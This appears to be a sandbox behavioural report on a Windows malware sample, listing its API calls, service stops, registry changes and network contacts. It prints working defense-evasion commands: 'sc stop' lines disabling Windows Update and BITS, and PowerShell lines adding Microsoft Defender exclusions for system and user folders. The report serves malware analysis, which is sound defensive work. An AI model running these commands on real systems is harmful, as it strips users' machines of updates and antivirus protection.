NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (5 events)

cmdline	cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
cmdline	"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
cmdline	powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
cmdline	"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
cmdline	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW July 26, 2024, 11:57 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" filepath: cmd.exe	1	1	0
ShellExecuteExW July 26, 2024, 11:57 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS filepath: cmd.exe	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 26, 2024, 11:57 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (7 events)

cmdline	cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
cmdline	sc stop UsoSvc
cmdline	sc stop DoSvc
cmdline	sc stop WaaSMedicSvc
cmdline	"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
cmdline	sc stop BITS
cmdline	sc stop wuauserv

Communicates with host for which no DNS query was performed (3 events)

host	144.160.159.21
host	144.160.235.143
host	67.195.204.80

Attempts to stop active services (2 events)

Time & API	Arguments	Status	Return	Repeated
ControlService July 26, 2024, 11:57 a.m.	service_handle: 0x0055b8a0 service_name: wuauserv control_code: 1		0	0
ControlService July 26, 2024, 11:57 a.m.	service_handle: 0x0071b850 service_name: BITS control_code: 1		0	0

Attempts to disable Windows Auto Updates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate

Modifies security center warnings (7 events)

registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride

Disables Windows Security features (5 events)

description	attempts to disable antivirus notifications	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride
description	attempts to disable antivirus notifications	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify
description	attempts to disable firewall notifications	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify
description	attempts to disable firewall notifications	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride
description	attempts to disable windows update notifications	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify

Stops Windows services (2 events)

service	wuauserv (regkey HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start)
service	BITS (regkey HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Start)

asec.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All